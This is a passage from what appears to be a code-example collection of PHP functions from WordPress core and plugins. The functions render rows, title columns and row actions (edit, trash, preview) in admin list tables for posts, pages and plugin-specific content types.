                        _e('Last Modified');
                    }
                    echo '</td>';
                    break;
                    //end case 'date'
                //end case 'date'
                case 'title':
                    $attributes = 'class="post-title column-title"' . $style;
                    ?>
						<td <?php 
                    echo $attributes;
                    ?>
><strong><?php 
                    if (current_user_can('edit_post', $post->ID) && $post->post_status != 'trash') {
                        ?>
<a	class="row-title" href="<?php 
                        echo $edit_link;
                        ?>
" title="<?php 
                        echo esc_attr(sprintf(__('Edit &#8220;%s&#8221;'), $title));
                        ?>
"><?php 
                        echo $title;
                        ?>
</a><?php 
                    } else {
                        echo $title;
                    }
                    _post_states($post);
                    ?>
</strong>
						<?php 
                    if ('excerpt' == $mode) {
                        the_excerpt();
                    }
                    $actions = array();
                    if ('trash' == $post->post_status && current_user_can('delete_post', $post->ID)) {
                        $actions['untrash'] = "<a title='" . esc_attr(__('Remove this post from the Trash')) . "' href='" . wp_nonce_url("post.php?action=untrash&amp;post={$post->ID}", 'untrash-post_' . $post->ID) . "'>" . __('Restore') . "</a>";
                        $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this post permanently')) . "' href='" . wp_nonce_url("post.php?action=delete&amp;post={$post->ID}", 'delete-post_' . $post->ID) . "'>" . __('Delete Permanently') . "</a>";
                    } else {
                        if (current_user_can('edit_post', $post->ID)) {
                            $actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this post')) . '">' . __('Edit') . '</a>';
                            //removing quickedit for now
                            //$actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this post inline')) . '">' . __('Quick&nbsp;Edit') . '</a>';
                        }
                        if (current_user_can('delete_post', $post->ID) && function_exists('wp_trash_post')) {
                            $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this post to the Trash')) . "' href='" . wp_nonce_url("post.php?action=trash&amp;post={$post->ID}", 'trash-post_' . $post->ID) . "'>" . __('Trash') . "</a>";
                        } else {
                            $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this post permanently')) . "' href='" . wp_nonce_url("post.php?action=delete&amp;post={$post->ID}", 'delete-post_' . $post->ID) . "'>" . __('Delete Permanently') . "</a>";
                        }
                        if (in_array($post->post_status, array('pending', 'draft'))) {
                            if (current_user_can('edit_post', $post->ID)) {
                                $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('Preview') . '</a>';
                            }
                        } else {
                            $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('View') . '</a>';
                        }
                    }
                    $actions = apply_filters('post_row_actions', $actions, $post);
                    $action_count = count($actions);
                    $i = 0;
                    echo '<div class="row-actions">';
                    foreach ($actions as $action => $link) {
                        ++$i;
                        $i == $action_count ? $sep = '' : ($sep = ' | ');
                        echo "<span class='{$action}'>{$link}{$sep}</span>";
                    }
                    echo '</div>';
                    get_inline_data($post);
                    ?>
						</td>
						<?php 
                    break;
                    //end case 'title'
                //end case 'title'
                case 'categories':
                    ?>
						<td <?php 
                    echo $attributes;
                    ?>
><?php 
                    $categories = get_the_category();
                    if (!empty($categories)) {
                        $out = array();
                        foreach ($categories as $c) {
                            $out[] = "<a href='edit.php?category_name={$c->slug}'> " . esc_html(sanitize_term_field('name', $c->name, $c->term_id, 'category', 'display')) . "</a>";
                        }
                        echo join(', ', $out);
                    } else {
                        _e('Uncategorized');
                    }
                    ?>
</td>
						<?php 
                    break;
                    //end case 'categories'
                //end case 'categories'
                case 'tags':
                    ?>
						<td <?php 
                    echo $attributes;
                    ?>
><?php 
                    $tags = get_the_tags($post->ID);
                    if (!empty($tags)) {
                        $out = array();
                        foreach ($tags as $c) {
                            $out[] = "<a href='edit.php?tag={$c->slug}'> " . esc_html(sanitize_term_field('name', $c->name, $c->term_id, 'post_tag', 'display')) . "</a>";
                        }
                        echo join(', ', $out);
                    } else {
                        _e('No Tags');
                    }
                    ?>
						</td>
						<?php 
                    break;
                    //end case 'tags'
                //end case 'tags'
                case 'comments':
                    ?>
						<td <?php 
                    echo $attributes;
                    ?>
>
						<div class="post-com-count-wrapper">
						<?php 
                    if (!isset($pending_comments)) {
                        $pending_comments = 0;
                    }
                    $pending_phrase = sprintf(__('%s pending'), number_format($pending_comments));
                    if ($pending_comments) {
                        echo '<strong>';
                    }
                    comments_number("<a href='edit-comments.php?p={$post->ID}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('0', 'comment count') . '</span></a>', "<a href='edit-comments.php?p={$post->ID}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('1', 'comment count') . '</span></a>', "<a href='edit-comments.php?p={$post->ID}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('%', 'comment count') . '</span></a>');
                    if ($pending_comments) {
                        echo '</strong>';
                    }
                    ?>
						</div>
						</td>
						<?php 
                    break;
                    //end case 'comments'
                //end case 'comments'
                case 'author':
                    ?>
						<td <?php 
                    echo $attributes;
                    ?>
><a href="edit.php?author=<?php 
                    the_author_meta('ID');
                    ?>
"><?php 
                    the_author();
                    ?>
</a></td>
						<?php 
                    break;
                    //end case 'author'
                //end case 'author'
                case 'control_view':
                    ?>
						<td><a href="<?php 
                    the_permalink();
                    ?>
" rel="permalink"	class="view"><?php 
                    _e('View');
                    ?>
</a></td>
						<?php 
                    break;
                    //end case 'control_view'
                //end case 'control_view'
                case 'control_edit':
                    ?>
						<td><?php 
                    if (current_user_can('edit_post', $post->ID)) {
                        echo "<a href='{$edit_link}' class='edit'>" . __('Edit') . "</a>";
                    }
                    ?>
</td>
						<?php 
                    break;
                    //end case 'control_edit'
                //end case 'control_edit'
                case 'control_delete':
                    ?>
						<td><?php 
                    if (current_user_can('delete_post', $post->ID)) {
                        echo "<a href='" . wp_nonce_url("post.php?action=delete&amp;post={$post->ID}", 'delete-post_' . $post->ID) . "' class='delete'>" . __('Delete') . "</a>";
                    }
                    ?>
</td>
						<?php 
                    break;
                    //end case 'control_delete
                //end case 'control_delete
                default:
                    ?>
						<td <?php 
                    echo $attributes;
                    ?>
><?php 
                    do_action('manage_posts_custom_column', $column_name, $post->ID);
                    ?>
</td>
						<?php 
                    break;
            }
        }
        ?>
		</tr>
		<?php 
        $post = $global_post;
    }
Exemple #17
0
/**
 * {@internal Missing Short Description}}
 *
 * @since unknown
 *
 * @param unknown_type $page
 * @param unknown_type $level
 */
function display_page_row($page, $level = 0)
{
    global $post;
    static $rowclass;
    $post = $page;
    setup_postdata($page);
    if (0 == $level && (int) $page->post_parent > 0) {
        //sent level 0 by accident, by default, or because we don't know the actual level
        $find_main_page = (int) $page->post_parent;
        while ($find_main_page > 0) {
            $parent = get_page($find_main_page);
            if (is_null($parent)) {
                break;
            }
            $level++;
            $find_main_page = (int) $parent->post_parent;
            if (!isset($parent_name)) {
                $parent_name = $parent->post_title;
            }
        }
    }
    $page->post_title = esc_html($page->post_title);
    $pad = str_repeat('&#8212; ', $level);
    $id = (int) $page->ID;
    $rowclass = 'alternate' == $rowclass ? '' : 'alternate';
    $posts_columns = get_column_headers('edit-pages');
    $hidden = get_hidden_columns('edit-pages');
    $title = _draft_or_post_title();
    ?>
<tr id="page-<?php 
    echo $id;
    ?>
" class="<?php 
    echo $rowclass;
    ?>
 iedit">
<?php 
    foreach ($posts_columns as $column_name => $column_display_name) {
        $class = "class=\"{$column_name} column-{$column_name}\"";
        $style = '';
        if (in_array($column_name, $hidden)) {
            $style = ' style="display:none;"';
        }
        $attributes = "{$class}{$style}";
        switch ($column_name) {
            case 'cb':
                ?>
		<th scope="row" class="check-column"><input type="checkbox" name="post[]" value="<?php 
                the_ID();
                ?>
" /></th>
		<?php 
                break;
            case 'date':
                if ('0000-00-00 00:00:00' == $page->post_date && 'date' == $column_name) {
                    $t_time = $h_time = __('Unpublished');
                    $time_diff = 0;
                } else {
                    $t_time = get_the_time(__('Y/m/d g:i:s A'));
                    $m_time = $page->post_date;
                    $time = get_post_time('G', true);
                    $time_diff = time() - $time;
                    if ($time_diff > 0 && $time_diff < 24 * 60 * 60) {
                        $h_time = sprintf(__('%s ago'), human_time_diff($time));
                    } else {
                        $h_time = mysql2date(__('Y/m/d'), $m_time);
                    }
                }
                echo '<td ' . $attributes . '>';
                echo '<abbr title="' . $t_time . '">' . apply_filters('post_date_column_time', $h_time, $page, $column_name, '') . '</abbr>';
                echo '<br />';
                if ('publish' == $page->post_status) {
                    _e('Published');
                } elseif ('future' == $page->post_status) {
                    if ($time_diff > 0) {
                        echo '<strong class="attention">' . __('Missed schedule') . '</strong>';
                    } else {
                        _e('Scheduled');
                    }
                } else {
                    _e('Last Modified');
                }
                echo '</td>';
                break;
            case 'title':
                $attributes = 'class="post-title page-title column-title"' . $style;
                $edit_link = get_edit_post_link($page->ID);
                ?>
		<td <?php 
                echo $attributes;
                ?>
><strong><?php 
                if (current_user_can('edit_page', $page->ID) && $post->post_status != 'trash') {
                    ?>
<a class="row-title" href="<?php 
                    echo $edit_link;
                    ?>
" title="<?php 
                    echo esc_attr(sprintf(__('Edit &#8220;%s&#8221;'), $title));
                    ?>
"><?php 
                    echo $pad;
                    echo $title;
                    ?>
</a><?php 
                } else {
                    echo $pad;
                    echo $title;
                }
                _post_states($page);
                echo isset($parent_name) ? ' | ' . __('Parent Page: ') . esc_html($parent_name) : '';
                ?>
</strong>
		<?php 
                $actions = array();
                if ($post->post_status == 'trash' && current_user_can('delete_page', $page->ID)) {
                    $actions['untrash'] = "<a title='" . esc_attr(__('Remove this page from the Trash')) . "' href='" . wp_nonce_url("page.php?action=untrash&amp;post={$page->ID}", 'untrash-page_' . $page->ID) . "'>" . __('Restore') . "</a>";
                    $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this page permanently')) . "' href='" . wp_nonce_url("page.php?action=delete&amp;post={$page->ID}", 'delete-page_' . $page->ID) . "'>" . __('Delete Permanently') . "</a>";
                } else {
                    if (current_user_can('edit_page', $page->ID)) {
                        $actions['edit'] = '<a href="' . $edit_link . '" title="' . esc_attr(__('Edit this page')) . '">' . __('Edit') . '</a>';
                        $actions['inline'] = '<a href="#" class="editinline">' . __('Quick&nbsp;Edit') . '</a>';
                    }
                    if (current_user_can('delete_page', $page->ID)) {
                        $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this page to the Trash')) . "' href='" . wp_nonce_url("page.php?action=trash&amp;post={$page->ID}", 'trash-page_' . $page->ID) . "'>" . __('Trash') . "</a>";
                    }
                    if (in_array($post->post_status, array('pending', 'draft'))) {
                        if (current_user_can('edit_page', $page->ID)) {
                            $actions['view'] = '<a href="' . get_permalink($page->ID) . '" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('Preview') . '</a>';
                        }
                    } else {
                        $actions['view'] = '<a href="' . get_permalink($page->ID) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('View') . '</a>';
                    }
                }
                $actions = apply_filters('page_row_actions', $actions, $page);
                $action_count = count($actions);
                $i = 0;
                echo '<div class="row-actions">';
                foreach ($actions as $action => $link) {
                    ++$i;
                    $i == $action_count ? $sep = '' : ($sep = ' | ');
                    echo "<span class='{$action}'>{$link}{$sep}</span>";
                }
                echo '</div>';
                get_inline_data($post);
                echo '</td>';
                break;
            case 'comments':
                ?>
		<td <?php 
                echo $attributes;
                ?>
><div class="post-com-count-wrapper">
		<?php 
                $left = get_pending_comments_num($page->ID);
                $pending_phrase = sprintf(__('%s pending'), number_format($left));
                if ($left) {
                    echo '<strong>';
                }
                comments_number("<a href='edit-comments.php?p={$id}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('0', 'comment count') . '</span></a>', "<a href='edit-comments.php?p={$id}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('1', 'comment count') . '</span></a>', "<a href='edit-comments.php?p={$id}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('%', 'comment count') . '</span></a>');
                if ($left) {
                    echo '</strong>';
                }
                ?>
		</div></td>
		<?php 
                break;
            case 'author':
                ?>
		<td <?php 
                echo $attributes;
                ?>
><a href="edit-pages.php?author=<?php 
                the_author_meta('ID');
                ?>
"><?php 
                the_author();
                ?>
</a></td>
		<?php 
                break;
            default:
                ?>
		<td <?php 
                echo $attributes;
                ?>
><?php 
                do_action('manage_pages_custom_column', $column_name, $id);
                ?>
</td>
		<?php 
                break;
        }
    }
    ?>

</tr>

<?php 
}
 function custom_hubpage_columns($column)
 {
     global $post;
     switch ($column) {
         case "hub_title":
             $edit_link = get_edit_post_link($post->ID);
             $title = _draft_or_post_title();
             $post_type_object = get_post_type_object($post->post_type);
             $can_edit_post = current_user_can($post_type_object->cap->edit_post, $post->ID);
             echo '<strong><a class="row-title" href="' . $edit_link . '">' . $title . '</a>';
             _post_states($post);
             echo '</strong>';
             if ($post->post_parent > 0) {
                 echo '&nbsp;&nbsp;&larr; <a href="' . get_edit_post_link($post->post_parent) . '">' . get_the_title($post->post_parent) . '</a>';
             }
             // Excerpt view
             if (isset($_GET['mode']) && $_GET['mode'] == 'excerpt') {
                 echo apply_filters('the_excerpt', $post->post_excerpt);
             }
             // Get actions
             $actions = array();
             $actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this item')) . '">' . __('Edit') . '</a>';
             if ($can_edit_post && 'trash' != $post->post_status) {
                 $actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline', WPC_CLIENT_TEXT_DOMAIN)) . '">' . __('Quick&nbsp;Edit', WPC_CLIENT_TEXT_DOMAIN) . '</a>';
             }
             if (current_user_can($post_type_object->cap->delete_post, $post->ID)) {
                 if ('trash' == $post->post_status) {
                     $actions['untrash'] = "<a title='" . esc_attr(__('Restore this item from the Trash', WPC_CLIENT_TEXT_DOMAIN)) . "' href='" . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&amp;action=untrash', $post->ID)), 'untrash-' . $post->post_type . '_' . $post->ID) . "'>" . __('Restore', WPC_CLIENT_TEXT_DOMAIN) . "</a>";
                 } elseif (EMPTY_TRASH_DAYS) {
                     $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this item to the Trash', WPC_CLIENT_TEXT_DOMAIN)) . "' href='" . get_delete_post_link($post->ID) . "'>" . __('Trash', WPC_CLIENT_TEXT_DOMAIN) . "</a>";
                 }
                 if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) {
                     $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this item permanently', WPC_CLIENT_TEXT_DOMAIN)) . "' href='" . get_delete_post_link($post->ID, '', true) . "'>" . __('Delete Permanently', WPC_CLIENT_TEXT_DOMAIN) . "</a>";
                 }
             }
             if ($post_type_object->public) {
                 if ('trash' != $post->post_status) {
                     $actions['view'] = '<a href="' . wpc_client_get_slug('hub_page_id') . $post->ID . '" target="_blank" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;', WPC_CLIENT_TEXT_DOMAIN), $title)) . '" rel="permalink">' . __('Preview', WPC_CLIENT_TEXT_DOMAIN) . '</a>';
                 }
             }
             $actions = apply_filters('post_row_actions', $actions, $post);
             echo '<div class="row-actions">';
             $i = 0;
             $action_count = sizeof($actions);
             foreach ($actions as $action => $link) {
                 ++$i;
                 $i == $action_count ? $sep = '' : ($sep = ' | ');
                 echo "<span class='{$action}'>{$link}{$sep}</span>";
             }
             echo '</div>';
             get_inline_data($post);
             break;
         case "client":
             $client = get_users(array('role' => 'wpc_client', 'meta_key' => 'wpc_cl_hubpage_id', 'meta_value' => $post->ID));
             if ($client) {
                 echo $client[0]->user_login;
             }
             break;
     }
 }
    function single_row($post, $level = 0)
    {
        global $mode;
        static $alternate;
        $global_post = get_post();
        $GLOBALS['post'] = $post;
        setup_postdata($post);
        $edit_link = get_edit_post_link($post->ID);
        $title = _draft_or_post_title();
        $post_type_object = get_post_type_object($post->post_type);
        $can_edit_post = current_user_can('edit_post', $post->ID);
        $alternate = 'alternate' == $alternate ? '' : 'alternate';
        $classes = $alternate . ' iedit author-' . (get_current_user_id() == $post->post_author ? 'self' : 'other');
        $lock_holder = wp_check_post_lock($post->ID);
        if ($lock_holder) {
            $classes .= ' wp-locked';
            $lock_holder = get_userdata($lock_holder);
        }
        if ($post->post_parent) {
            $count = count(get_post_ancestors($post->ID));
            $classes .= ' level-' . $count;
        } else {
            $classes .= ' level-0';
        }
        ?>
		<tr id="post-<?php 
        echo $post->ID;
        ?>
" class="<?php 
        echo implode(' ', get_post_class($classes, $post->ID));
        ?>
">
	<?php 
        list($columns, $hidden) = $this->get_column_info();
        foreach ($columns as $column_name => $column_display_name) {
            $class = "class=\"{$column_name} column-{$column_name}\"";
            $style = '';
            if (in_array($column_name, $hidden)) {
                $style = ' style="display:none;"';
            }
            $attributes = "{$class}{$style}";
            switch ($column_name) {
                case 'cb':
                    ?>
			<th scope="row" class="check-column">
				<label class="screen-reader-text" for="cb-select-<?php 
                    the_ID();
                    ?>
"><?php 
                    printf(__('Select %s'), $title);
                    ?>
</label>
				<input id="cb-select-<?php 
                    the_ID();
                    ?>
" type="checkbox" name="select_posts[]" value="<?php 
                    the_ID();
                    ?>
" data-post_id="<?php 
                    the_ID();
                    ?>
" data-post_type="<?php 
                    echo $post->post_type;
                    ?>
" />
				<?php 
                    if ($can_edit_post) {
                        ?>
				<div class="locked-indicator"></div>
				<?php 
                    }
                    ?>
			</th>
			<?php 
                    break;
                case 'title':
                    $attributes = 'class="post-title page-title column-title"' . $style;
                    if ($this->hierarchical_display) {
                        if (0 == $level && (int) $post->post_parent > 0) {
                            //sent level 0 by accident, by default, or because we don't know the actual level
                            $find_main_page = (int) $post->post_parent;
                            while ($find_main_page > 0) {
                                $parent = get_post($find_main_page);
                                if (is_null($parent)) {
                                    break;
                                }
                                $level++;
                                $find_main_page = (int) $parent->post_parent;
                                if (!isset($parent_name)) {
                                    /** This filter is documented in wp-includes/post-template.php */
                                    $parent_name = apply_filters('the_title', $parent->post_title, $parent->ID);
                                }
                            }
                        }
                    }
                    $pad = str_repeat('&#8212; ', $level);
                    echo "<td {$attributes}><strong>";
                    // post format filtering
                    if ($format = get_post_format($post->ID)) {
                        $label = get_post_format_string($format);
                        echo '<a href="' . fa_iframe_admin_page_url('fa-mixed-content-modal', array('post_format' => $format, 'post_type' => $post->post_type), false) . '" class="post-state-format post-format-icon post-format-' . $format . '" title="' . $label . '">' . $label . ":</a> ";
                    }
                    // Post title with edit link
                    if ($can_edit_post && $post->post_status != 'trash') {
                        echo '<a target="_blank" class="row-title" href="' . $edit_link . '" title="' . esc_attr(sprintf(__('Edit &#8220;%s&#8221;'), $title)) . '">' . $pad . '<span id="fa-name-' . $post->ID . '">' . $title . '</span></a>';
                    } else {
                        echo $pad . '<span id="fa-name-' . $post->ID . '">' . $title . '</span>';
                    }
                    _post_states($post);
                    if (isset($parent_name)) {
                        echo ' | ' . $post_type_object->labels->parent_item_colon . ' ' . esc_html($parent_name);
                    }
                    echo "</strong>\n";
                    if ($can_edit_post && $post->post_status != 'trash') {
                        if ($lock_holder) {
                            $locked_avatar = get_avatar($lock_holder->ID, 18);
                            $locked_text = esc_html(sprintf(__('%s is currently editing'), $lock_holder->display_name));
                        } else {
                            $locked_avatar = $locked_text = '';
                        }
                        echo '<div class="locked-info"><span class="locked-avatar">' . $locked_avatar . '</span> <span class="locked-text">' . $locked_text . "</span></div>\n";
                    }
                    if (!$this->hierarchical_display && 'excerpt' == $mode && current_user_can('read_post', $post->ID)) {
                        the_excerpt();
                    }
                    // actions
                    $actions = array();
                    // edit link
                    if ($can_edit_post && 'trash' != $post->post_status) {
                        $actions['edit'] = '<a target="_blank" href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this item')) . '">' . __('Edit') . '</a>';
                    }
                    // View/Preview links
                    if ($post_type_object->public) {
                        if (in_array($post->post_status, array('pending', 'draft', 'future'))) {
                            if ($can_edit_post) {
                                /** This filter is documented in wp-admin/includes/meta-boxes.php */
                                $actions['view'] = '<a target="_blank" href="' . esc_url(apply_filters('preview_post_link', set_url_scheme(add_query_arg('preview', 'true', get_permalink($post->ID))))) . '" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('Preview') . '</a>';
                            }
                        } elseif ('trash' != $post->post_status) {
                            $actions['view'] = '<a target="_blank" href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('View') . '</a>';
                        }
                    }
                    if (is_post_type_hierarchical($post->post_type)) {
                        /**
                         * Filter the array of row action links on the Pages list table.
                         *
                         * The filter is evaluated only for hierarchical post types.
                         *
                         * @since 2.8.0
                         *
                         * @param array   $actions An array of row action links. Defaults are
                         *                         'Edit', 'Quick Edit', 'Restore, 'Trash',
                         *                         'Delete Permanently', 'Preview', and 'View'.
                         * @param WP_Post $post    The post object.
                         */
                        $actions = apply_filters('fa_page_row_actions', $actions, $post);
                    } else {
                        /**
                         * Filter the array of row action links on the Posts list table.
                         *
                         * The filter is evaluated only for non-hierarchical post types.
                         *
                         * @since 2.8.0
                         *
                         * @param array   $actions An array of row action links. Defaults are
                         *                         'Edit', 'Quick Edit', 'Restore, 'Trash',
                         *                         'Delete Permanently', 'Preview', and 'View'.
                         * @param WP_Post $post    The post object.
                         */
                        $actions = apply_filters('fa_post_row_actions', $actions, $post);
                    }
                    echo $this->row_actions($actions);
                    get_inline_data($post);
                    echo '</td>';
                    break;
                case 'slide_title':
                    $fa_slide = fa_get_slide_options($post->ID);
                    if (isset($fa_slide['title'])) {
                        echo '<td ' . $attributes . '>';
                        if ($post->post_title != $fa_slide['title']) {
                            echo '<strong>' . $fa_slide['title'] . '</strong>';
                        } else {
                            echo '<i>' . $fa_slide['title'] . '</i>';
                        }
                        echo '</td>';
                    }
                    break;
                case 'date':
                    if ('0000-00-00 00:00:00' == $post->post_date) {
                        $t_time = $h_time = __('Unpublished');
                        $time_diff = 0;
                    } else {
                        $t_time = get_the_time(__('Y/m/d g:i:s A'));
                        $m_time = $post->post_date;
                        $time = get_post_time('G', true, $post);
                        $time_diff = time() - $time;
                        if ($time_diff > 0 && $time_diff < DAY_IN_SECONDS) {
                            $h_time = sprintf(__('%s ago'), human_time_diff($time));
                        } else {
                            $h_time = mysql2date(__('Y/m/d'), $m_time);
                        }
                    }
                    echo '<td ' . $attributes . '>';
                    if ('excerpt' == $mode) {
                        /**
                         * Filter the published time of the post.
                         *
                         * If $mode equals 'excerpt', the published time and date are both displayed.
                         * If $mode equals 'list' (default), the publish date is displayed, with the
                         * time and date together available as an abbreviation definition.
                         *
                         * @since 2.5.1
                         *
                         * @param array   $t_time      The published time.
                         * @param WP_Post $post        Post object.
                         * @param string  $column_name The column name.
                         * @param string  $mode        The list display mode ('excerpt' or 'list').
                         */
                        echo apply_filters('fa_post_date_column_time', $t_time, $post, $column_name, $mode);
                    } else {
                        /** This filter is documented in wp-admin/includes/class-wp-posts-list-table.php */
                        echo '<abbr title="' . $t_time . '">' . apply_filters('fa_post_date_column_time', $h_time, $post, $column_name, $mode) . '</abbr>';
                    }
                    echo '<br />';
                    if ('publish' == $post->post_status) {
                        _e('Published');
                    } elseif ('future' == $post->post_status) {
                        if ($time_diff > 0) {
                            echo '<strong class="attention">' . __('Missed schedule') . '</strong>';
                        } else {
                            _e('Scheduled');
                        }
                    } else {
                        _e('Last Modified');
                    }
                    echo '</td>';
                    break;
                case 'comments':
                    ?>
			<td <?php 
                    echo $attributes;
                    ?>
><div class="post-com-count-wrapper">
			<?php 
                    $pending_comments = isset($this->comment_pending_count[$post->ID]) ? $this->comment_pending_count[$post->ID] : 0;
                    ?>
				<strong class="post-com-count"><span><?php 
                    echo $pending_comments;
                    ?>
</span></strong>
			</div></td>
			<?php 
                    break;
                case 'author':
                    ?>
			<td <?php 
                    echo $attributes;
                    ?>
><?php 
                    printf('<a href="%s">%s</a>', fa_iframe_admin_page_url('fa-mixed-content-modal', array('post_type' => $post->post_type, 'author' => get_the_author_meta('ID')), false), get_the_author());
                    ?>
</td>
			<?php 
                    break;
                default:
                    if ('categories' == $column_name) {
                        $taxonomy = 'category';
                    } elseif ('tags' == $column_name) {
                        $taxonomy = 'post_tag';
                    } elseif (0 === strpos($column_name, 'taxonomy-')) {
                        $taxonomy = substr($column_name, 9);
                    } else {
                        $taxonomy = false;
                    }
                    if ($taxonomy) {
                        $taxonomy_object = get_taxonomy($taxonomy);
                        echo '<td ' . $attributes . '>';
                        if ($terms = get_the_terms($post->ID, $taxonomy)) {
                            $out = array();
                            foreach ($terms as $t) {
                                $posts_in_term_qv = array();
                                $posts_in_term_qv['post_type'] = $post->post_type;
                                if ($taxonomy_object->query_var) {
                                    $posts_in_term_qv[$taxonomy_object->query_var] = $t->slug;
                                } else {
                                    $posts_in_term_qv['taxonomy'] = $taxonomy;
                                    $posts_in_term_qv['term'] = $t->slug;
                                }
                                $out[] = sprintf('<a href="%s">%s</a>', fa_iframe_admin_page_url('fa-mixed-content-modal', $posts_in_term_qv, false), esc_html(sanitize_term_field('name', $t->name, $t->term_id, $taxonomy, 'display')));
                            }
                            /* translators: used between list items, there is a space after the comma */
                            echo join(__(', '), $out);
                        } else {
                            echo '&#8212;';
                        }
                        echo '</td>';
                        break;
                    }
                    ?>
			<td <?php 
                    echo $attributes;
                    ?>
><?php 
                    if (is_post_type_hierarchical($post->post_type)) {
                        /**
                         * Fires in each custom column on the Posts list table.
                         *
                         * This hook only fires if the current post type is hierarchical,
                         * such as pages.
                         *
                         * @since 2.5.0
                         *
                         * @param string $column_name The name of the column to display.
                         * @param int    $post_id     The current post ID.
                         */
                        do_action('fa_manage_pages_custom_column', $column_name, $post->ID);
                    } else {
                        /**
                         * Fires in each custom column in the Posts list table.
                         *
                         * This hook only fires if the current post type is non-hierarchical,
                         * such as posts.
                         *
                         * @since 1.5.0
                         *
                         * @param string $column_name The name of the column to display.
                         * @param int    $post_id     The current post ID.
                         */
                        do_action('fa_manage_posts_custom_column', $column_name, $post->ID);
                    }
                    /**
                     * Fires for each custom column of a specific post type in the Posts list table.
                     *
                     * The dynamic portion of the hook name, $post->post_type, refers to the post type.
                     *
                     * @since 3.1.0
                     *
                     * @param string $column_name The name of the column to display.
                     * @param int    $post_id     The current post ID.
                     */
                    do_action("fa_manage_{$post->post_type}_posts_custom_column", $column_name, $post->ID);
                    ?>
</td>
			<?php 
                    break;
            }
        }
        ?>
		</tr>
	<?php 
        $GLOBALS['post'] = $global_post;
    }
 /**
  * Handles the title column output.
  *
  * @since 4.3.0
  * @access public
  *
  * @global string $mode
  *
  * @param WP_Post $post The current WP_Post object.
  */
 public function column_title($post)
 {
     global $mode;
     if ($this->hierarchical_display) {
         if (0 === $this->current_level && (int) $post->post_parent > 0) {
             // Sent level 0 by accident, by default, or because we don't know the actual level.
             $find_main_page = (int) $post->post_parent;
             while ($find_main_page > 0) {
                 $parent = get_post($find_main_page);
                 if (is_null($parent)) {
                     break;
                 }
                 $this->current_level++;
                 $find_main_page = (int) $parent->post_parent;
                 if (!isset($parent_name)) {
                     /** This filter is documented in wp-includes/post-template.php */
                     $parent_name = apply_filters('the_title', $parent->post_title, $parent->ID);
                 }
             }
         }
     }
     $pad = str_repeat('&#8212; ', $this->current_level);
     echo "<strong>";
     $format = get_post_format($post->ID);
     if ($format) {
         $label = get_post_format_string($format);
         echo '<a href="' . esc_url(add_query_arg(array('post_format' => $format, 'post_type' => $post->post_type), 'edit.php')) . '" class="post-state-format post-format-icon post-format-' . $format . '" title="' . $label . '">' . $label . ":</a> ";
     }
     $can_edit_post = current_user_can('edit_post', $post->ID);
     $title = _draft_or_post_title();
     if ($can_edit_post && $post->post_status != 'trash') {
         $edit_link = get_edit_post_link($post->ID);
         echo '<a class="row-title" href="' . $edit_link . '" title="' . esc_attr(sprintf(__('Edit &#8220;%s&#8221;'), $title)) . '">' . $pad . $title . '</a>';
     } else {
         echo $pad . $title;
     }
     _post_states($post);
     if (isset($parent_name)) {
         $post_type_object = get_post_type_object($post->post_type);
         echo ' | ' . $post_type_object->labels->parent_item_colon . ' ' . esc_html($parent_name);
     }
     echo "</strong>\n";
     if ($can_edit_post && $post->post_status != 'trash') {
         $lock_holder = wp_check_post_lock($post->ID);
         if ($lock_holder) {
             $lock_holder = get_userdata($lock_holder);
             $locked_avatar = get_avatar($lock_holder->ID, 18);
             $locked_text = esc_html(sprintf(__('%s is currently editing'), $lock_holder->display_name));
         } else {
             $locked_avatar = $locked_text = '';
         }
         echo '<div class="locked-info"><span class="locked-avatar">' . $locked_avatar . '</span> <span class="locked-text">' . $locked_text . "</span></div>\n";
     }
     if (!is_post_type_hierarchical($this->screen->post_type) && 'excerpt' == $mode && current_user_can('read_post', $post->ID)) {
         the_excerpt();
     }
     get_inline_data($post);
 }
        function custom_portalpage_columns($column_name)
        {
            global $post, $wpdb;
            $current_page = 'wpclients_portal_pages';
            if ($column_name == 'clients') {
                $users = $this->cc_get_assign_data_by_object('portal_page', $post->ID, 'client');
                ?>
                <script type="text/javascript">
                    var site_url = '<?php 
                echo site_url();
                ?>
';
                </script>

                            <div class="scroll_data">
                            <?php 
                $link_array = array('data-id' => $post->ID, 'data-ajax' => 1, 'title' => sprintf(__('Assign %s to', WPC_CLIENT_TEXT_DOMAIN), $this->custom_titles['client']['p']));
